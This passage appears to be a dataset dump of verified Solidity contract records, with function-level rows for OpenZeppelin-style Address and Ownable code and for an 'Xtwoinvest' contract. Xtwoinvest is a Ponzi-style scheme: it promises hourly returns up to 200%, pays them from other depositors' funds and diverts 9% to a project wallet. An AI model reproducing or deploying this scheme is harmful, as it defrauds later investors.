* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
3318,
3496
]
} | 8,355 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
3721,
3922
]
} | 8,356 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
4292,
4523
]
} | 8,357 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
4774,
5095
]
} | 8,358 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
497,
581
]
} | 8,359 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
1139,
1292
]
} | 8,360 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
1442,
1691
]
} | 8,361 |
||
Xtwoinvest | Xtwoinvest.sol | 0xc22b670c4ab672a38f4c5b59d1332020afb78c98 | Solidity | Xtwoinvest | contract Xtwoinvest {
//use of library of safe mathematical operations
using SafeMath
for uint;
// array containing information about beneficiaries
mapping(address => uint) public userDeposit;
//array containing information about the time of payment
mapping(address => uint) public userTime;
//array containing information on interest paid
mapping(address => uint) public persentWithdraw;
//fund fo transfer percent
address public projectFund = 0x18e9F86ed0430679f79EF2eA0cc5E1186b80c570;
//wallet for a charitable foundation
address public charityFund = 0xf36EEbB7438aDef0E7fE4650a6Cd6dB238B58c6a;
//percentage deducted to the advertising fund
uint projectPercent = 9;
//percent for a charitable foundation
uint public charityPercent = 1;
//time through which you can take dividends
uint public chargingTime = 1 hours;
//start persent 0.25% per hour
uint public startPercent = 250;
uint public lowPersent = 300;
uint public middlePersent = 350;
uint public highPersent = 375;
//interest rate increase steps
uint public stepLow = 1000 ether;
uint public stepMiddle = 2500 ether;
uint public stepHigh = 5000 ether;
uint public countOfInvestors = 0;
uint public countOfCharity = 0;
modifier isIssetUser() {
require(userDeposit[msg.sender] > 0, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= userTime[msg.sender].add(chargingTime), "Too fast payout request");
_;
}
//return of interest on the deposit
function collectPercent() isIssetUser timePayment internal {
//if the user received 200% or more of his contribution, delete the user
if ((userDeposit[msg.sender].mul(2)) <= persentWithdraw[msg.sender]) {
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
} else {
uint payout = payoutAmount();
userTime[msg.sender] = now;
persentWithdraw[msg.sender] += payout;
msg.sender.transfer(payout);
}
}
//calculation of the current interest rate on the deposit
function persentRate() public view returns(uint) {
//get contract balance
uint balance = address(this).balance;
//calculate persent rate
if (balance < stepLow) {
return (startPercent);
}
if (balance >= stepLow && balance < stepMiddle) {
return (lowPersent);
}
if (balance >= stepMiddle && balance < stepHigh) {
return (middlePersent);
}
if (balance >= stepHigh) {
return (highPersent);
}
}
//refund of the amount available for withdrawal on deposit
function payoutAmount() public view returns(uint) {
uint persent = persentRate();
uint rate = userDeposit[msg.sender].mul(persent).div(100000);
uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime);
uint withdrawalAmount = rate.mul(interestRate);
return (withdrawalAmount);
}
//make a contribution to the system
function makeDeposit() private {
if (msg.value > 0) {
if (userDeposit[msg.sender] == 0) {
countOfInvestors += 1;
}
if (userDeposit[msg.sender] > 0 && now > userTime[msg.sender].add(chargingTime)) {
collectPercent();
}
userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);
userTime[msg.sender] = now;
//sending money for advertising
projectFund.transfer(msg.value.mul(projectPercent).div(100));
//sending money to charity
uint charityMoney = msg.value.mul(charityPercent).div(100);
countOfCharity+=charityMoney;
charityFund.transfer(charityMoney);
} else {
collectPercent();
}
}
//return of deposit balance
function returnDeposit() isIssetUser private {
//userDeposit-persentWithdraw-(userDeposit*8/100)
uint withdrawalAmount = userDeposit[msg.sender].sub(persentWithdraw[msg.sender]).sub(userDeposit[msg.sender].mul(projectPercent).div(100));
//check that the user's balance is greater than the interest paid
require(userDeposit[msg.sender] > withdrawalAmount, 'You have already repaid your deposit');
//delete user record
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
msg.sender.transfer(withdrawalAmount);
}
function() external payable {
//refund of remaining funds when transferring to a contract 0.00000112 ether
if (msg.value == 0.00000112 ether) {
returnDeposit();
} else {
makeDeposit();
}
}
} | /**
The development of the contract is entirely owned by the Xtwoinvest campaign, any copying of the source code is not legal.
*/ | NatSpecMultiLine | collectPercent | function collectPercent() isIssetUser timePayment internal {
//if the user received 200% or more of his contribution, delete the user
if ((userDeposit[msg.sender].mul(2)) <= persentWithdraw[msg.sender]) {
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
} else {
uint payout = payoutAmount();
userTime[msg.sender] = now;
persentWithdraw[msg.sender] += payout;
msg.sender.transfer(payout);
}
}
| //return of interest on the deposit | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://007a6c2b00c8bb970d746b8dc7584834eaf955c0b4d36d35ee0a5aa5627111a7 | {
"func_code_index": [
1640,
2208
]
} | 8,362 |
|
Xtwoinvest | Xtwoinvest.sol | 0xc22b670c4ab672a38f4c5b59d1332020afb78c98 | Solidity | Xtwoinvest | contract Xtwoinvest {
//use of library of safe mathematical operations
using SafeMath
for uint;
// array containing information about beneficiaries
mapping(address => uint) public userDeposit;
//array containing information about the time of payment
mapping(address => uint) public userTime;
//array containing information on interest paid
mapping(address => uint) public persentWithdraw;
//fund fo transfer percent
address public projectFund = 0x18e9F86ed0430679f79EF2eA0cc5E1186b80c570;
//wallet for a charitable foundation
address public charityFund = 0xf36EEbB7438aDef0E7fE4650a6Cd6dB238B58c6a;
//percentage deducted to the advertising fund
uint projectPercent = 9;
//percent for a charitable foundation
uint public charityPercent = 1;
//time through which you can take dividends
uint public chargingTime = 1 hours;
//start persent 0.25% per hour
uint public startPercent = 250;
uint public lowPersent = 300;
uint public middlePersent = 350;
uint public highPersent = 375;
//interest rate increase steps
uint public stepLow = 1000 ether;
uint public stepMiddle = 2500 ether;
uint public stepHigh = 5000 ether;
uint public countOfInvestors = 0;
uint public countOfCharity = 0;
modifier isIssetUser() {
require(userDeposit[msg.sender] > 0, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= userTime[msg.sender].add(chargingTime), "Too fast payout request");
_;
}
//return of interest on the deposit
function collectPercent() isIssetUser timePayment internal {
//if the user received 200% or more of his contribution, delete the user
if ((userDeposit[msg.sender].mul(2)) <= persentWithdraw[msg.sender]) {
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
} else {
uint payout = payoutAmount();
userTime[msg.sender] = now;
persentWithdraw[msg.sender] += payout;
msg.sender.transfer(payout);
}
}
//calculation of the current interest rate on the deposit
function persentRate() public view returns(uint) {
//get contract balance
uint balance = address(this).balance;
//calculate persent rate
if (balance < stepLow) {
return (startPercent);
}
if (balance >= stepLow && balance < stepMiddle) {
return (lowPersent);
}
if (balance >= stepMiddle && balance < stepHigh) {
return (middlePersent);
}
if (balance >= stepHigh) {
return (highPersent);
}
}
//refund of the amount available for withdrawal on deposit
function payoutAmount() public view returns(uint) {
uint persent = persentRate();
uint rate = userDeposit[msg.sender].mul(persent).div(100000);
uint interestRate = now.sub(userTime[msg.sender]).div(chargingTime);
uint withdrawalAmount = rate.mul(interestRate);
return (withdrawalAmount);
}
//make a contribution to the system
function makeDeposit() private {
if (msg.value > 0) {
if (userDeposit[msg.sender] == 0) {
countOfInvestors += 1;
}
if (userDeposit[msg.sender] > 0 && now > userTime[msg.sender].add(chargingTime)) {
collectPercent();
}
userDeposit[msg.sender] = userDeposit[msg.sender].add(msg.value);
userTime[msg.sender] = now;
//sending money for advertising
projectFund.transfer(msg.value.mul(projectPercent).div(100));
//sending money to charity
uint charityMoney = msg.value.mul(charityPercent).div(100);
countOfCharity+=charityMoney;
charityFund.transfer(charityMoney);
} else {
collectPercent();
}
}
//return of deposit balance
function returnDeposit() isIssetUser private {
//userDeposit-persentWithdraw-(userDeposit*8/100)
uint withdrawalAmount = userDeposit[msg.sender].sub(persentWithdraw[msg.sender]).sub(userDeposit[msg.sender].mul(projectPercent).div(100));
//check that the user's balance is greater than the interest paid
require(userDeposit[msg.sender] > withdrawalAmount, 'You have already repaid your deposit');
//delete user record
userDeposit[msg.sender] = 0;
userTime[msg.sender] = 0;
persentWithdraw[msg.sender] = 0;
msg.sender.transfer(withdrawalAmount);
}
function() external payable {
//refund of remaining funds when transferring to a contract 0.00000112 ether
if (msg.value == 0.00000112 ether) {
returnDeposit();
} else {
makeDeposit();
}
}
} | /**
The development of the contract is entirely owned by the Xtwoinvest campaign, any copying of the source code is not legal.
